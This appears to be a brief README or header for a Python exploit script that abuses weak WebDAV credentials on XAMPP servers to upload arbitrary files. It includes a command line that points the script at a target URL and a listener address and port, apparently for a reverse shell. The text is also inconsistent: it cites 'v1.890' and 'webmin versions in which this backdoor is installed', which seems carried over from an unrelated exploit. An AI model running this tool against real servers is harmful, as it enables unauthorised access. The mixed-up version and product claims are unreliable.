Xampp Webdav arbitrary File upload 1. Xampp Servers with weak WebDav Credentials Script Usage: Tested on v1.890, but should also work for other webmin versions in which this backdoor is installed. python webdav_exploit.py -t http://10.11.1.136/webdav -l 172.16.1.1 -p 4444